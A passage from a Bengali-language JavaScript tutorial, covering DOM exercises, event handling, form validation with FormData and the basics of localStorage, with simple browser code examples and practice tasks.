4. একটি image-এর src এবং alt JavaScript দিয়ে পরিবর্তন করো।
5. একটি input থেকে name নিয়ে <h2>-এ দেখাও।
6. JavaScript দিয়ে নতুন <li> তৈরি করে <ul>-এ add করো।
7. একটি button click করলে একটি CSS class toggle করো।
8. পাঁচটি paragraph select করে প্রত্যেকটির text পরিবর্তন করো।
9. একটি dynamic Todo List বানাও:
10. একটি Product Card JavaScript দিয়ে dynamically তৈরি করো:
11. data-id ব্যবহার করে প্রতিটি product-এর ID store করো।
12. closest() ব্যবহার করে একটি card-এর parent element বের করো।
আজ পর্যন্ত আমরা JavaScript-এর ভিতরের language concepts থেকে এসে Browser-এর HTML-এর সাথে JavaScript-এর connection শিখলাম।
1. Select 2. Read 3. Modify 4. Create 5. Remove
পরবর্তী: Chapter 16 — JavaScript Events & Event Handling
এখানে আমরা click, input, change, submit, keyboard events, mouse events, event object, addEventListener(), event bubbling, capturing, delegation, preventDefault(), stopPropagation()—সব বিস্তারিত শিখব।
এখন আমরা JavaScript-এর সবচেয়ে গুরুত্বপূর্ণ practical বিষয়গুলোর একটি শিখব — Events। DOM Chapter-এ আমরা শিখেছি কীভাবে HTML element select করে পরিবর্তন করতে হয়। কিন্তু একটি webpage-এ user যখন বাটন ক্লিক করে, ইনপুটে লিখে, মাউস সরায়, কিবোর্ড প্রেস করে কিংবা ফর্ম সাবমিট করে—তখন জাভাস্ক্রিপ্ট কীভাবে বুঝবে যে কিছু একটা ঘটেছে? এর উত্তর হলো 👉 Event।
ইভেন্ট হ্যান্ডলিং হলো ইন্টারঅ্যাক্টিভ ও ডায়নামিক ফ্রন্টএন্ড ওয়েব ডেভেলপমেন্টের চালিকাশক্তি। 🔥
Event হলো webpage-এ ঘটে যাওয়া কোনো action বা ঘটনা।
সহজভাবে:
ধরো একটি door:
Webpage:
JavaScript-এ অনেক ধরনের event আছে।
| Event | Meaning |
|---|---|
click | Mouse click |
dblclick | Double click |
mousedown | Mouse button press |
mouseup | Mouse button release |
mousemove | Mouse move |
mouseenter | Element-এর ভিতরে mouse ঢোকে |
mouseleave | Element থেকে mouse বের হয় |
keydown | Keyboard key press |
keyup | Keyboard key release |
input | Input value change |
change | Form value change/commit |
submit | Form submit |
focus | Element focus পায় |
blur | Element focus হারায় |
load | Resource/page load |
scroll | Page scroll |
resize | Window resize |
Event ঘটলে যে function execute হয় তাকে সাধারণভাবে Event Handler বলা হয়।
Example:
function handleClick() { console.log("Button clicked!"); }
এই function-কে click event-এর সাথে connect করলে এটি event handler হিসেবে কাজ করবে।
HTML:
<button id="btn">Click Me</button>
JavaScript:
let button = document.getElementById("btn"); button.addEventListener("click", function () { console.log("Button clicked!"); });
Button click করলে:
Syntax:
element.addEventListener("event", function () { // code });
Example:
button.addEventListener("click", function () { console.log("Hello"); });
এখানে:
Anonymous function-এর পরিবর্তে named function-ও ব্যবহার করা যায়।
function handleClick() { console.log("Clicked!"); } button.addEventListener("click", handleClick);
সঠিক:
button.addEventListener("click", handleClick);
ভুল:
button.addEventListener("click", handleClick());
কারণ handleClick() দিলে function তখনই execute হয়ে যাবে।
Event handle করার আরেকটি উপায়:
button.onclick = function () { console.log("Clicked!"); };
এটি কাজ করে।
কিন্তু সাধারণত modern code-এ:
addEventListener()
বেশি flexible।
HTML-এর ভিতরেও event লেখা যায়:
<button onclick="sayHello()"> Click Me </button>
JavaScript:
function sayHello() {
alert("Hello!");
}
এটি কাজ করলেও বড় application-এ HTML এবং JavaScript আলাদা রাখা সাধারণত cleaner approach।
একই element-এ multiple event listener দেওয়া যায়।
button.addEventListener("click", function () { console.log("First"); }); button.addEventListener("click", function () { console.log("Second"); });
Click করলে:
First Second
একটি listener remove করতে একই function reference দরকার।
function handleClick() { console.log("Clicked"); } button.addEventListener("click", handleClick); button.removeEventListener("click", handleClick);
এখন click করলে function আর execute হবে না।
এটি কাজ করবে না:
button.addEventListener("click", function () { console.log("Clicked"); }); button.removeEventListener("click", function () { console.log("Clicked"); });
কারণ দুইটি anonymous function আলাদা function object।
Event ঘটলে browser একটি event object তৈরি করে।
button.addEventListener("click", function (event) { console.log(event); });
এখানে:
event
এর মধ্যে event-এর অনেক information থাকে।
যে element-এ event ঘটেছে সেটি:
event.target
Example:
button.addEventListener("click", function (event) { console.log(event.target); });
<button id="btn">Click Me</button>
যে element-এর ওপর listener attached হয়েছে:
event.currentTarget
অনেক সময়:
হতে পারে।
Event-এর নাম পাওয়া যায়:
button.addEventListener("click", function (event) { console.log(event.type); });
click
Event কখন ঘটেছে তার timing information:
button.addEventListener("click", function (event) { console.log(event.timeStamp); });
button.addEventListener("click", function () { console.log("Clicked"); });
button.addEventListener("dblclick", function () { console.log("Double clicked"); });
Mouse button press করলে:
button.addEventListener("mousedown", function () { console.log("Mouse button pressed"); });
Mouse button release:
button.addEventListener("mouseup", function () { console.log("Mouse button released"); });
document.addEventListener("mousemove", function () { console.log("Mouse moving"); });
Mouse কোনো element-এর ভিতরে ঢুকলে:
box.addEventListener("mouseenter", function () { console.log("Mouse entered"); });
Mouse element থেকে বের হলে:
box.addEventListener("mouseleave", function () { console.log("Mouse left"); });
keydown keyup
কোনো key press করলে:
document.addEventListener("keydown", function (event) { console.log(event.key); });
তুমি A press করলে:
a
Enter:
Enter
Escape:
Escape
Key release করলে:
document.addEventListener("keyup", function (event) { console.log(event.key); });
event.key key-এর value দেয়।
event.code physical keyboard key-এর নাম দেয়।
document.addEventListener("keydown", function (event) { console.log("Key:", event.key); console.log("Code:", event.code); });
A press করলে browser সাধারণত:
Key: a Code: KeyA
বনাম event.codekey | code |
|---|---|
| Press করা key-এর value | Physical key |
"a" | "KeyA" |
"Enter" | "Enter" |
" " | "Space" |
ধরো:
Ctrl + S
detect করতে:
document.addEventListener("keydown", function (event) { if (event.ctrlKey && event.key === "s") { console.log("Save shortcut"); } });
Event object-এ পাওয়া যায়:
event.ctrlKey event.shiftKey event.altKey event.metaKey
Example:
document.addEventListener("keydown", function (event) { if (event.shiftKey) { console.log("Shift is pressed"); } });
User input field-এ typing করলে input event fire হয়।
HTML:
<input id="nameInput">
JavaScript:
let input = document.getElementById("nameInput"); input.addEventListener("input", function (event) { console.log(event.target.value); });
User লিখলে:
S Sh Sha Shar Shariar
প্রতিবার event fire হতে পারে।
input.addEventListener("change", function () { console.log("Value changed"); });
input এবং change এক নয়।
সাধারণভাবে:
Input focus পেলে:
input.addEventListener("focus", function () { console.log("Input focused"); });
Input focus হারালে:
input.addEventListener("blur", function () { console.log("Input lost focus"); });
HTML:
<form id="loginForm"> <input id="email"> <button type="submit"> Login </button> </form>
JavaScript:
let form = document.getElementById("loginForm"); form.addEventListener("submit", function () { console.log("Form submitted"); });
Form submit করলে browser সাধারণত default action করতে পারে, যেমন page reload/navigation।
এটা বন্ধ করতে:
form.addEventListener("submit", function (event) { event.preventDefault(); console.log("Submit handled by JavaScript"); });
form.addEventListener("submit", function (event) { event.preventDefault(); let email = document.getElementById("email").value; if (email === "") { console.log("Email is required"); return; } console.log("Login request sent"); });
<input id="terms" type="checkbox">
let terms = document.getElementById("terms"); terms.addEventListener("change", function () { console.log(terms.checked); });
HTML:
<select id="department"> <option value="cse">CSE</option> <option value="eee">EEE</option> <option value="bba">BBA</option> </select>
JavaScript:
department.addEventListener("change", function () { console.log(department.value); });
শুধু HTML elements নয়, window-এরও events আছে।
window.addEventListener("resize", function () { console.log("Window resized"); });
window.addEventListener("scroll", function () { console.log("Page scrolling"); });
Page/resources load হলে:
window.addEventListener("load", function () { console.log("Page fully loaded"); });
HTML document parse শেষ হলে:
document.addEventListener("DOMContentLoaded", function () { console.log("DOM ready"); });
এটি DOM manipulation শুরু করার জন্য খুব useful।
HTML:
<div id="parent"> <button id="child"> Click </button> </div>
JavaScript:
let parent = document.getElementById("parent"); let child = document.getElementById("child"); child.addEventListener("click", function () { console.log("Child"); }); parent.addEventListener("click", function () { console.log("Parent"); });
Button click করলে:
কেন?
কারণ event child থেকে parent-এর দিকে bubble করে।
Event সাধারণত target থেকে উপরের দিকে propagate করে।
বনাম event.currentTargetএখন পার্থক্যটা বুঝো।
parent.addEventListener("click", function (event) { console.log("Target:", event.target); console.log("Current:", event.currentTarget); });
যদি child button click করো:
Event bubbling বন্ধ করতে:
child.addEventListener("click", function (event) { event.stopPropagation(); console.log("Child clicked"); });
এখন parent listener সাধারণ bubbling-এর কারণে execute হবে না।
Event propagation-এর একটি phase হলো capturing।
সাধারণভাবে event flow:
addEventListener()-এর third argument বা options ব্যবহার করে capture করা যায়।
parent.addEventListener( "click", function () { console.log("Parent capture"); }, true );
এখন parent capture phase-এ event পেতে পারে।
Modern style:
parent.addEventListener( "click", function () { console.log("Parent capture"); }, { capture: true } );
পুরো concept:
প্রথম অংশ:
তারপর:
শেষে:
ধরো:
<ul id="list"> <li>Apple</li> <li>Banana</li> <li>Mango</li> </ul>
প্রতিটি <li>-তে আলাদা listener না দিয়ে parent-এ listener দিতে পারো।
let list = document.getElementById("list"); list.addEventListener("click", function (event) { if (event.target.matches("li")) { console.log(event.target.textContent); } });
Apple click:
Apple
Mango click:
Mango
ধরো 1000টি button আছে।
খারাপ approach:
Delegation:
এতে code cleaner এবং অনেক ক্ষেত্রে resource usage কমে।
ধরো পরে JavaScript দিয়ে নতুন <li> তৈরি করলে:
let li = document.createElement("li"); li.textContent = "Orange"; list.append(li);
Parent-এর delegated listener থাকলে নতুন li-তেও click handling কাজ করতে পারে।
বনাম stopPropagation()দুটো একদম আলাদা।
| Method | কাজ |
|---|---|
preventDefault() | Browser-এর default action বন্ধ |
stopPropagation() | Event propagation বন্ধ |
Example:
event.preventDefault();
→ form submit/navigation-এর default behavior বন্ধ করতে পারে।
event.stopPropagation();
→ parent-এর দিকে event propagation বন্ধ করে।
একই element-এ multiple listener থাকলে অন্য listener-গুলোর execution-ও থামাতে পারে।
event.stopImmediatePropagation();
এটি advanced use case-এ প্রয়োজন হয়।
addEventListener()-এর third parameter-এ options দেওয়া যায়।
button.addEventListener( "click", handleClick, { once: true } );
button.addEventListener( "click", function () { console.log("Runs once"); }, { once: true } );
Button যতবার click করো, শুধু প্রথমবার execute হবে।
element.addEventListener( "click", handleClick, { capture: true } );
Capture phase-এ listener চালাবে।
window.addEventListener( "scroll", handleScroll, { passive: true } );
Browser-কে জানানো হয় যে listener সাধারণত preventDefault() ব্যবহার করবে না।
HTML:
<textarea id="message"></textarea> <p> Characters: <span id="count">0</span> </p>
JavaScript:
let message = document.getElementById("message"); let count = document.getElementById("count"); message.addEventListener("input", function () { count.textContent = message.value.length; });
User লিখলে:
Hello
দেখাবে:
Characters: 5
HTML:
<input id="search" placeholder="Search..."> <ul id="results"></ul>
JavaScript:
let search = document.getElementById("search"); let results = document.getElementById("results"); let products = [ "Laptop", "Mouse", "Keyboard", "Monitor" ]; search.addEventListener("input", function () { let keyword = search.value.toLowerCase(); results.innerHTML = ""; let filtered = products.filter(function (product) { return product.toLowerCase().includes(keyword); }); filtered.forEach(function (product) { let li = document.createElement("li"); li.textContent = product; results.append(li); }); });
এখানে:
HTML:
<input id="password" type="password"> <button id="toggle"> Show </button>
JavaScript:
let password = document.getElementById("password"); let toggle = document.getElementById("toggle"); toggle.addEventListener("click", function () { if (password.type === "password") { password.type = "text"; toggle.textContent = "Hide"; } else { password.type = "password"; toggle.textContent = "Show"; } });
এটি real-world login/signup form-এ ব্যবহৃত হয়।
form.addEventListener("submit", function (event) { event.preventDefault(); let email = document.getElementById("email").value; if (!email.includes("@")) { console.log("Invalid email"); return; } console.log("Form submitted successfully"); });
Regular function ব্যবহার করলে event listener-এর ক্ষেত্রে this সাধারণত যে element-এ listener attached হয়েছে সেটিকে refer করতে পারে।
button.addEventListener("click", function () { console.log(this); });
সাধারণত:
কিন্তু arrow function-এর নিজের this binding নেই।
button.addEventListener("click", () => { console.log(this); });
এখানে this lexical context থেকে আসবে।
Arrow function অবশ্যই ব্যবহার করা যায়:
button.addEventListener("click", (event) => { console.log(event.target); });
এক্ষেত্রে element access করতে:
event.currentTarget
ব্যবহার করা সুবিধাজনক হতে পারে।
HTML:
<div id="parent"> <button id="button"> Click Me </button> </div>
JavaScript:
let parent = document.getElementById("parent"); let button = document.getElementById("button"); parent.addEventListener("click", function (event) { console.log( "Parent:", event.target, event.currentTarget ); }); button.addEventListener("click", function (event) { console.log( "Button:", event.target, event.currentTarget ); });
Button click করলে:
এটাই target বনাম currentTarget বোঝার সবচেয়ে ভালো example।
Chapter 16 থেকে এগুলো অবশ্যই জানতে হবে:
addEventListener() removeEventListener()
click dblclick mousedown mouseup mousemove mouseenter mouseleave
keydown keyup
input change focus blur submit
load DOMContentLoaded scroll resize
event.target event.currentTarget event.type event.key event.code event.ctrlKey event.shiftKey event.altKey event.metaKey
preventDefault() stopPropagation() stopImmediatePropagation()
parent.addEventListener(...)
// Click button.addEventListener("click", handler); // Keyboard document.addEventListener("keydown", handler); // Input input.addEventListener("input", handler); // Form form.addEventListener("submit", handler); // Stop default event.preventDefault(); // Stop bubbling event.stopPropagation(); // Target event.target; // Listener element event.currentTarget; // Keyboard event.key; event.code; // Modifier event.ctrlKey; event.shiftKey; event.altKey; event.metaKey;
1. একটি button click করলে:
Hello JavaScript
console-এ দেখাও।
2. একটি button click করলে তার text পরিবর্তন করো।
3. Mouse enter করলে box-এর color পরিবর্তন করো।
4. Keyboard-এ যেকোনো key press করলে key-এর নাম console-এ দেখাও।
5. একটি input-এর value live <p> element-এ দেখাও।
6. একটি textarea-এর character counter তৈরি করো।
7. একটি form submit করলে page reload বন্ধ করো।
8. একটি checkbox checked কিনা তা change event দিয়ে detect করো।
9. Ctrl + S shortcut detect করো এবং browser-এর default behavior prevent করো।
10. Event bubbling demonstrate করো:
11. stopPropagation() ব্যবহার করে bubbling বন্ধ করো।
12. Event delegation ব্যবহার করে একটি dynamic Todo List বানাও।
13. Parent-এর একটি listener ব্যবহার করে তার সব child button-এর click handle করো।
আর advanced event system:
পরবর্তী অধ্যায়ে আমরা Chapter 17 — Forms & Form Validation-এ যাব। সেখানে HTML forms-এর সাথে JavaScript ব্যবহার করে input validation, required fields, email/password validation, regex validation, error messages, FormData, submit handling এবং professional form validation structure বিস্তারিত শিখব।
আধুনিক ওয়েব অ্যাপ্লিকেশন বা সিঙ্গেল পেজ অ্যাপে ইউজার ইন্টারঅ্যাকশনের সবচেয়ে গুরুত্বপূর্ণ মাধ্যম হলো Form। ব্যবহারকারীর কাছ থেকে লগইন, রেজিস্ট্রেশন, পেমেন্ট বা যেকোনো ইনপুট সুরক্ষিতভাবে গ্রহণ ও যাচাই করার জন্য জাভাস্ক্রিপ্ট ফর্ম হ্যান্ডলিং ও ভ্যালিডেশন অত্যন্ত অপরিহার্য।
Frontend ও Backend উভয়ের নিরাপত্তায় নির্ভুল ও ডায়নামিক ক্লায়েন্ট-সাইড ভ্যালিডেশন প্রথম প্রাচীর হিসেবে কাজ করে। 🔥
Form হলো এমন একটি UI অংশ যেখানে user information input করে।
তুমি কোনো website-এ registration করছো:
এই পুরো অংশটাই একটি Form।
HTML:
<form> <input type="text" /> <input type="email" /> <input type="password" /> <button type="submit">Register</button> </form>
<form id="registrationForm"> <label for="name">Name</label> <input type="text" id="name" /> <label for="email">Email</label> <input type="email" id="email" /> <button type="submit">Register</button> </form>
JavaScript:
const form = document.querySelector("#registrationForm"); form.addEventListener("submit", function (event) { event.preventDefault(); console.log("Form submitted!"); });
form.addEventListener("submit", ...)
Form submit হলে function চলবে।
আর:
event.preventDefault();
browser-এর default form submission বন্ধ করবে।
preventDefault() ব্যবহার করি?Normally form submit করলে browser page reload করতে পারে।
form.addEventListener("submit", function (event) { event.preventDefault(); });
এতে browser-এর default behavior বন্ধ হয়।
Login form submit করলে তুমি চাও:
Page reload করানো দরকার নেই।
<input type="text" id="username" /> <button id="btn">Get Name</button>
const username = document.querySelector("#username"); const button = document.querySelector("#btn"); button.addEventListener("click", function () { console.log(username.value); });
User যদি লেখে:
Shariar
Shariar
Input-এর value পেতে:
input.value;
<form id="myForm"> <input type="text" name="username" /> <input type="email" name="email" /> <input type="password" name="password" /> <button type="submit">Submit</button> </form>
JavaScript:
const form = document.querySelector("#myForm"); console.log(form.elements);
form.elements form-এর controls-এর collection দেয়।
const form = document.querySelector("#myForm"); console.log(form.elements.username.value); console.log(form.elements.email.value); console.log(form.elements.password.value);
Shariar shariar@gmail.com 12345678
name attribute গুরুত্বপূর্ণ।<input name="username" />
ভালো form-এর জন্য:
<label for="email">Email</label> <input type="email" id="email" />
for="email" → input-এর id="email"-এর সাথে সম্পর্ক তৈরি করে।
User label-এ click করলেও input focus হবে।
Form-এ বিভিন্ন ধরনের input আছে।
<input type="text" /> <input type="email" /> <input type="password" /> <input type="number" /> <input type="tel" /> <input type="date" /> <input type="time" /> <input type="url" /> <input type="checkbox" /> <input type="radio" /> <input type="file" /> <input type="color" /> <input type="range" />
JavaScript দিয়ে এগুলোর value/behavior handle করা যায়।
User যেন field empty রেখে submit করতে না পারে:
<input type="text" name="username" required />
User empty রেখে submit করলে browser validation message দেখাবে।
এবং maxlength<input type="text" minlength="3" maxlength="20" />
এর মানে:
এবং maxNumber-এর ক্ষেত্রে:
<input type="number" min="18" max="60" />
Allowed range:
Custom pattern তৈরি করা যায়।
<input type="text" pattern="[A-Za-z]+" />
এখানে শুধুমাত্র English alphabet allow করা হচ্ছে।
Browser যেন আগের information suggest করতে পারে:
<input type="email" autocomplete="email" />
Password:
<input type="password" autocomplete="current-password" />
Registration-এর নতুন password:
<input type="password" autocomplete="new-password" />
Form-এর browser validation বন্ধ করতে:
<form novalidate></form>
এটি ব্যবহার করলে validation JavaScript দিয়ে নিজে করতে পারো।
HTML নিজেই অনেক validation করতে পারে।
<form> <input type="email" required /> <input type="number" min="18" max="60" /> <button type="submit">Submit</button> </form>
Browser automatically check করবে:
কোনো form বা input valid কিনা check করতে:
const email = document.querySelector("#email"); console.log(email.checkValidity());
Valid হলে:
true
Invalid হলে:
false
<input id="email" type="email" required />
JavaScript:
const email = document.querySelector("#email"); console.log(email.checkValidity());
Empty হলে:
false
Valid email দিলে:
true
Browser-এর built-in validation message দেখাতে:
email.reportValidity();
যদি email invalid হয় browser message দেখাবে।
console.log(email.validity);
এখানে অনেক property পাওয়া যায়।
যেমন:
email.validity.valid;
| Property | Meaning |
|---|---|
valueMissing | required field empty |
typeMismatch | email/url type ভুল |
patternMismatch | pattern match করেনি |
tooLong | maximum length ছাড়িয়েছে |
tooShort | minimum length-এর নিচে |
rangeUnderflow | min-এর নিচে |
rangeOverflow | max-এর উপরে |
stepMismatch | step-এর সাথে match করছে না |
badInput | browser input parse করতে পারছে না |
customError | custom validation error |
valid | সব validation ঠিক |
<input id="email" type="email" required />
JavaScript:
const email = document.querySelector("#email"); console.log(email.validity.valueMissing); console.log(email.validity.typeMismatch); console.log(email.validity.valid);
Empty থাকলে:
true false false
Browser-এর validation message পাওয়া যায়:
console.log(email.validationMessage);
যেমন:
Please fill out this field.
নিজের custom error message তৈরি করতে পারো।
const username = document.querySelector("#username"); if (username.value.length < 5) { username.setCustomValidity("Username must be at least 5 characters."); } else { username.setCustomValidity(""); }
Error remove করতে:
setCustomValidity("");
<input id="username" type="text" /> <button id="check">Check</button>
const username = document.querySelector("#username"); const button = document.querySelector("#check"); button.addEventListener("click", function () { if (username.value.trim().length < 5) { username.setCustomValidity("Username must be at least 5 characters."); username.reportValidity(); } else { username.setCustomValidity(""); console.log("Valid username"); } });
User accidentally space দিতে পারে।
const name = " Shariar "; console.log(name.trim());
Shariar
Form validation-এ:
const name = input.value.trim();
এটি খুব useful।
<input id="name" type="text" /> <button id="submitBtn">Submit</button>
const nameInput = document.querySelector("#name"); const submitBtn = document.querySelector("#submitBtn"); submitBtn.addEventListener("click", function () { const name = nameInput.value.trim(); if (name === "") { console.log("Name is required."); } else { console.log("Name:", name); } });
HTML:
<input id="email" type="email" />
JavaScript:
const email = document.querySelector("#email"); if (!email.checkValidity()) { console.log("Invalid email"); } else { console.log("Valid email"); }
ধরি password minimum 8 characters হতে হবে।
const password = "123456"; if (password.length < 8) { console.log("Password must contain at least 8 characters."); } else { console.log("Password is valid."); }
Real-life registration form-এ:
JavaScript:
const password = "Shariar123"; const confirmPassword = "Shariar123"; if (password !== confirmPassword) { console.log("Passwords do not match."); } else { console.log("Password matched."); }
ধরি Bangladesh-এর 11-digit phone number check করব।
const phone = "01712345678"; const pattern = /^01[3-9]\d{8}$/; console.log(pattern.test(phone));
true
const phone = "123456"; console.log(pattern.test(phone));
false
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; const email = "shariar@gmail.com"; console.log(emailPattern.test(email));
true
এখন একটা complete example দেখি।
<form id="signupForm"> <label>Name</label> <input type="text" id="name" required /> <label>Email</label> <input type="email" id="email" required /> <label>Password</label> <input type="password" id="password" minlength="8" required /> <button type="submit">Sign Up</button> </form>
const form = document.querySelector("#signupForm"); form.addEventListener("submit", function (event) { event.preventDefault(); if (!form.checkValidity()) { form.reportValidity(); return; } const name = document.querySelector("#name").value.trim(); const email = document.querySelector("#email").value.trim(); console.log("Name:", name); console.log("Email:", email); });
Form-এর data একসাথে collect করার জন্য FormData খুব useful।
HTML:
<form id="loginForm"> <input type="email" name="email" /> <input type="password" name="password" /> <button type="submit">Login</button> </form>
JavaScript:
const form = document.querySelector("#loginForm"); form.addEventListener("submit", function (event) { event.preventDefault(); const formData = new FormData(form); console.log(formData.get("email")); console.log(formData.get("password")); });
formData.get("email");
একটি field-এর value দেয়।
console.log(formData.has("email"));
true
formData.set("email", "newemail@gmail.com");
Existing value replace করবে।
formData.append("role", "student");
নতুন data যোগ করবে।
formData.delete("password");
Field remove করবে।
for (const [key, value] of formData.entries()) { console.log(key, value); }
অনেক সময় API-তে JSON পাঠানোর জন্য object দরকার হয়।
const data = Object.fromEntries(formData); console.log(data);
{
email: "shariar@gmail.com",
password: "12345678"
}
এটি খুব useful pattern।
HTML:
<label> <input type="checkbox" id="terms" /> I agree to Terms </label>
JavaScript:
const terms = document.querySelector("#terms"); console.log(terms.checked);
Checked হলে:
true
Unchecked হলে:
false
if (!terms.checked) { console.log("You must accept the terms."); }
<label> <input type="radio" name="gender" value="male" /> Male </label> <label> <input type="radio" name="gender" value="female" /> Female </label>
JavaScript:
const selected = document.querySelector('input[name="gender"]:checked'); console.log(selected?.value);
Male select করলে:
male
HTML:
<select id="course"> <option value="">Select Course</option> <option value="cse">CSE</option> <option value="eee">EEE</option> <option value="bba">BBA</option> </select>
JavaScript:
const course = document.querySelector("#course"); console.log(course.value);
if (course.value === "") { console.log("Please select a course."); }
HTML:
<input type="file" id="profileImage" />
JavaScript:
const fileInput = document.querySelector("#profileImage"); console.log(fileInput.files);
Selected files:
console.log(fileInput.files[0]);
File-এর নাম:
console.log(fileInput.files[0].name);
const file = fileInput.files[0]; if (file) { const sizeInMB = file.size / (1024 * 1024); if (sizeInMB > 2) { console.log("File must be under 2MB."); } }
Form-এর সব field reset করতে:
form.reset();
Example:
form.addEventListener("submit", function (event) { event.preventDefault(); console.log("Submitted"); form.reset(); });
Duplicate submission prevent করতে button disable করা যায়।
const submitButton = form.querySelector('button[type="submit"]'); form.addEventListener("submit", function (event) { event.preventDefault(); submitButton.disabled = true; console.log("Processing..."); });
Real-world application-এ API request চলাকালে এটি useful।
এবার অনেকগুলো concept একসাথে ব্যবহার করি।
<form id="registerForm"> <h2>Create Account</h2> <label for="name"> Name </label> <input id="name" name="name" type="text" minlength="3" required /> <br /><br /> <label for="email"> Email </label> <input id="email" name="email" type="email" required /> <br /><br /> <label for="password"> Password </label> <input id="password" name="password" type="password" minlength="8" required /> <br /><br /> <label for="confirmPassword"> Confirm Password </label> <input id="confirmPassword" type="password" required /> <br /><br /> <label> <input id="terms" type="checkbox" /> I agree to the terms </label> <br /><br /> <button type="submit">Register</button> </form>
const form = document.querySelector("#registerForm"); const password = document.querySelector("#password"); const confirmPassword = document.querySelector("#confirmPassword"); const terms = document.querySelector("#terms"); form.addEventListener("submit", function (event) { event.preventDefault(); // HTML validation if (!form.checkValidity()) { form.reportValidity(); return; } // Password validation if (password.value !== confirmPassword.value) { confirmPassword.setCustomValidity("Passwords do not match."); confirmPassword.reportValidity(); return; } else { confirmPassword.setCustomValidity(""); } // Terms validation if (!terms.checked) { alert("You must accept the terms."); return; } // Get form data const formData = new FormData(form); const data = Object.fromEntries(formData); console.log(data); alert("Registration successful!"); });
এটাই real-world registration form-এর basic architecture।
Client-side:
if (password.length < 8) { // error }
এটি user experience-এর জন্য ভালো।
কিন্তু security-এর জন্য যথেষ্ট নয়।
কারণ user browser-এর JavaScript modify/disable করতে পারে।
তাই:
Frontend Validation
+
Backend Validation
=
Proper Validation
Backend-এ আবার validate করতে হবে:
Frontend:
const data = { email: "user@gmail.com", password: "12345678", };
API request:
Backend:
Frontend validation কখনোই backend validation-এর replacement নয়।
Accessibility-এর জন্য invalid field indicate করা যায়।
email.setAttribute("aria-invalid", "true");
Valid হলে:
email.setAttribute("aria-invalid", "false");
শুধু:
alert("Invalid email");
এর পরিবর্তে UI-তে message দেখানো ভালো।
HTML:
<input id="email" type="email" /> <p id="emailError"></p>
JavaScript:
const email = document.querySelector("#email"); const error = document.querySelector("#emailError"); if (!email.checkValidity()) { error.textContent = "Please enter a valid email."; } else { error.textContent = ""; }
এতে user সরাসরি field-এর নিচে error দেখতে পাবে।
User typing করার সময় validation করতে পারি।
email.addEventListener("input", function () { if (email.validity.typeMismatch) { console.log("Invalid email"); } else { console.log("Valid email"); } });
Real-life:
const passwordInput = document.querySelector("#password"); passwordInput.addEventListener("input", function () { const password = passwordInput.value; if (password.length < 8) { console.log("Weak"); } else if (password.length < 12) { console.log("Medium"); } else { console.log("Strong"); } });
শুধু frontend validation-এর উপর depend করা।
Password plaintext database-এ save করা।
User input blindly innerHTML-এ বসানো।
trim() না করা।
Duplicate form submission allow করা।
শুধু regex দিয়ে সব validation করার চেষ্টা করা।
এই chapter থেকে অবশ্যই জানতে হবে:
submit event
event.preventDefault();
input.value;
form.elements;
required;
minlength; maxlength;
min; max;
pattern;
checkValidity();
reportValidity();
validity;
validationMessage;
setCustomValidity();
FormData;
formData.get();
formData.set();
formData.append();
formData.delete();
Object.fromEntries();
form.reset();
input.checked;
input.files;
| কাজ | JavaScript |
|---|---|
| Input value | input.value |
| Checkbox | input.checked |
| File | input.files |
| Form elements | form.elements |
| Submit event | "submit" |
| Default submit বন্ধ | event.preventDefault() |
| Valid কিনা | checkValidity() |
| Browser message | reportValidity() |
| Validation info | input.validity |
| Error message | validationMessage |
| Custom error | setCustomValidity() |
| Form data | new FormData(form) |
| Data নেওয়া | formData.get() |
| Data যোগ | formData.append() |
| Data replace | formData.set() |
| Data delete | formData.delete() |
| সব data | formData.entries() |
| Form reset | form.reset() |
তৈরি করো:
Validation:
Fields:
সব validation implement করো।
Fields:
Rules:
সব data FormData দিয়ে collect করে:
Object.fromEntries(formData);
এর মাধ্যমে object তৈরি করো।
Chapter 17 complete.
পরবর্তী অধ্যায়ে আমরা ব্রাউজারের বিভিন্ন ক্লায়েন্ট-সাইড স্টোরেজ মেকানিজম নিয়ে বিস্তারিত শিখব—localStorage, sessionStorage, Cookies, IndexedDB, স্টোরেজ ইভেন্ট, লিমিটেশন এবং স্টোরেজ সিকিউরিটি সেরা প্র্যাকটিস।
একটি আধুনিক ওয়েব অ্যাপ্লিকেশনে ইউজার প্রেফারেন্স (যেমন ডার্ক মোড, ভাষা), শপিং কার্ট ডাটা কিংবা সাময়িক ফর্ম ডাটা পেজ রিলোড বা ব্রাউজার বন্ধ করলেও যেন হারিয়ে না যায়, সেজন্য ব্রাউজারের নিজস্ব Web Storage API ব্যবহার করা হয়।
ব্রাউজারে নির্ভরযোগ্য স্টেট পারসিস্টেন্স এবং অফলাইন-রেডি ইউজার এক্সপেরিয়েন্সের মূল ভিত্তি হলো এই স্টোরেজ আর্কিটেকচার। 🔥
Browser Storage হলো browser-এর মধ্যে website-এর কিছু data সংরক্ষণ করার ব্যবস্থা।
ধরো তুমি একটি shopping website-এ গেলে এবং:
Browser কিছু information মনে রাখতে পারে।
তাই পরেরবার website খুললে:
থাকতে পারে।
JavaScript-এর Web Storage API-এর প্রধান দুটি অংশ:
দুটোই সাধারণত key-value pair আকারে data রাখে।
localStorage browser-এ data save করে এবং সাধারণত browser বন্ধ করলেও data থেকে যায়।
localStorage.setItem("username", "Shariar");
এখন browser-এ:
username = Shariar
save হয়েছে।
Syntax:
localStorage.setItem(key, value);
Example:
localStorage.setItem("name", "Shariar");
আরেকটি:
localStorage.setItem("theme", "dark");
Data পড়তে:
const name = localStorage.getItem("name"); console.log(name);
Shariar
একটি নির্দিষ্ট item delete:
localStorage.removeItem("name");
এখন:
console.log(localStorage.getItem("name"));
null
সব localStorage data delete করতে:
localStorage.clear();
তাই production code-এ সাবধানে ব্যবহার করতে হবে।
কতগুলো item আছে:
console.log(localStorage.length);
যদি থাকে:
তাহলে:
3
Index দিয়ে key পাওয়া যায়।
console.log(localStorage.key(0));
Output উদাহরণ:
name
localStorage.setItem("age", 25);
পরে:
const age = localStorage.getItem("age"); console.log(age); console.log(typeof age);
25 string
অর্থাৎ:
const age = Number(localStorage.getItem("age")); console.log(age); console.log(typeof age);
25 number
localStorage.setItem("isLoggedIn", true);
পরে:
const value = localStorage.getItem("isLoggedIn"); console.log(value); console.log(typeof value);
true string
true নয়, string "true"।const isLoggedIn = localStorage.getItem("isLoggedIn") === "true"; console.log(isLoggedIn);
true
ধরো:
const user = { name: "Shariar", age: 24, };
এভাবে করলে:
localStorage.setItem("user", user);
পরে:
console.log(localStorage.getItem("user"));
Output হতে পারে:
[object Object]
কারণ Web Storage string-based।
